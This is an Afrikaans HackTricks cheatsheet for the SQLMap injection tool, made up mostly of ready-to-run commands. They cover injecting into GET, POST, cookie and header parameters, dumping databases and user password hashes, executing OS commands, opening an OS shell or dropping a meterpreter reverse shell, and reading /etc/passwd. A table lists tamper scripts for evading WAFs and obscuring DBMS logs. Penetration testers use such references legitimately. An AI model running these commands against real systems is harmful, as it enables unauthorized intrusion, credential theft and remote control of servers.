SQLMap - Cheatsheet
Reading time: 8 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese argumente vir SQLmap
Generies
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
Verkry Inligting
Intern
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
DB data
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
Gebruik SQLMapping dit is 'n praktiese hulpmiddel wat opdragte genereer en 'n volledige oorsig bied, beide basies en gevorderd, vir SQLMap. Dit sluit ToolTips in wat elke aspek van die hulpmiddel verduidelik, met besonderhede oor elke opsie sodat jy kan verbeter en verstaan hoe om dit doeltreffend en effektief te gebruik.
Inspuitplek
Van Burp/ZAP vang
Vang die versoek en skep 'n req.txt-lêer.
sqlmap -r req.txt --current-user
GET Versoek Inspuiting
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
POST Versoek Inspuiting
sqlmap -u "http://example.com" --data "username=*&password=*"
Inspuitings in Headers en ander HTTP Metodes
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
Dui string aan wanneer inspuiting suksesvol is
--string="string_showed_when_TRUE"
Eval
Sqlmap laat die gebruik van -e
of --eval
toe om elke payload te verwerk voordat dit met 'n python oneliner gestuur word. Dit maak dit baie maklik en vinnig om die payload op pasgemaakte maniere te verwerk voordat dit gestuur word. In die volgende voorbeeld is die flask cookie session onderteken deur flask met die bekende geheim voordat dit gestuur word:
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
Skulpin
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
Lees Lêer
--file-read=/etc/passwd
Krap 'n webwerf met SQLmap en outomatiese eksploitasie
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
Tweede Orde Inspuiting
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
Lees hierdie pos oor hoe om eenvoudige en komplekse tweede orde inspuitings met sqlmap uit te voer.
Pas Inspuiting aan
Stel 'n agtervoegsel in
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
Voorvoegsel
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
Hulp om booleaanse inspuiting te vind
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
Tamper
Onthou dat jy jou eie tamper in python kan skep en dit is baie eenvoudig. Jy kan 'n tamper voorbeeld in die Second Order Injection page here vind.
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper | Beskrywing |
---|---|
apostrophemask.py | Vervang apostrofkarakter met sy UTF-8 volle breedte teenhanger |
apostrophenullencode.py | Vervang apostrofkarakter met sy onwettige dubbele unicode teenhanger |
appendnullbyte.py | Voeg geënkodeerde NULL byte karakter by aan die einde van die payload |
base64encode.py | Base64 al karakters in 'n gegewe payload |
between.py | Vervang groter as operator ('>') met 'NOT BETWEEN 0 AND #' |
bluecoat.py | Vervang spasie karakter na SQL verklaring met 'n geldige ewekansige leë karakter. Vervang daarna karakter = met LIKE operator |
chardoubleencode.py | Dubbel url-encode al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk) |
commalesslimit.py | Vervang voorbeelde soos 'LIMIT M, N' met 'LIMIT N OFFSET M' |
commalessmid.py | Vervang voorbeelde soos 'MID(A, B, C)' met 'MID(A FROM B FOR C)' |
concat2concatws.py | Vervang voorbeelde soos 'CONCAT(A, B)' met 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
charencode.py | Url-encode al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk) |
charunicodeencode.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk). "%u0022" |
charunicodeescape.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk). "\u0022" |
equaltolike.py | Vervang al voorkomste van operator gelyk ('=') met operator 'LIKE' |
escapequotes.py | Skuil aanhalingstekens (' en ") |
greatest.py | Vervang groter as operator ('>') met 'GREATEST' teenhanger |
halfversionedmorekeywords.py | Voeg 'n weergawe MySQL kommentaar voor elke sleutelwoord by |
ifnull2ifisnull.py | Vervang voorbeelde soos 'IFNULL(A, B)' met 'IF(ISNULL(A), B, A)' |
modsecurityversioned.py | Omhels volledige navraag met weergawe kommentaar |
modsecurityzeroversioned.py | Omhels volledige navraag met nul-weergawe kommentaar |
multiplespaces.py | Voeg meerdere spasies rondom SQL sleutelwoorde by |
nonrecursivereplacement.py | Vervang vooraf gedefinieerde SQL sleutelwoorde met verteenwoordigings geskik vir vervanging (bv. .replace("SELECT", "")) filters |
percentage.py | Voeg 'n persentasieteken ('%') voor elke karakter by |
overlongutf8.py | Converteer al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk) |
randomcase.py | Vervang elke sleutelwoordkarakter met ewekansige kaswaarde |
randomcomments.py | Voeg ewekansige kommentaar by SQL sleutelwoorde |
securesphere.py | Voeg spesiaal saamgestelde string by |
sp_password.py | Voeg 'sp_password' by aan die einde van die payload vir outomatiese obfuskaasie van DBMS logs |
space2comment.py | Vervang spasie karakter (' ') met kommentaar |
space2dash.py | Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n') |
space2hash.py | Vervang spasie karakter (' ') met 'n pondkarakter ('#') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n') |
space2morehash.py | Vervang spasie karakter (' ') met 'n pondkarakter ('#') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n') |
space2mssqlblank.py | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
space2mssqlhash.py | Vervang spasie karakter (' ') met 'n pondkarakter ('#') gevolg deur 'n nuwe lyn ('\n') |
space2mysqlblank.py | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
space2mysqldash.py | Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n nuwe lyn ('\n') |
space2plus.py | Vervang spasie karakter (' ') met plus ('+') |
space2randomblank.py | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
symboliclogical.py | Vervang AND en OR logiese operators met hul simboliese teenhangers (&& en |
unionalltounion.py | Vervang UNION ALL SELECT met UNION SELECT |
unmagicquotes.py | Vervang aanhalingstekens karakter (') met 'n multi-byte kombinasie %bf%27 saam met 'n generiese kommentaar aan die einde (om dit te laat werk) |
uppercase.py | Vervang elke sleutelwoordkarakter met hoofletters waarde 'INSERT' |
varnish.py | Voeg 'n HTTP kop 'X-originating-IP' by |
versionedkeywords.py | Omhels elke nie-funksie sleutelwoord met weergawe MySQL kommentaar |
versionedmorekeywords.py | Omhels elke sleutelwoord met weergawe MySQL kommentaar |
xforwardedfor.py | Voeg 'n vals HTTP kop 'X-Forwarded-For' by |
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.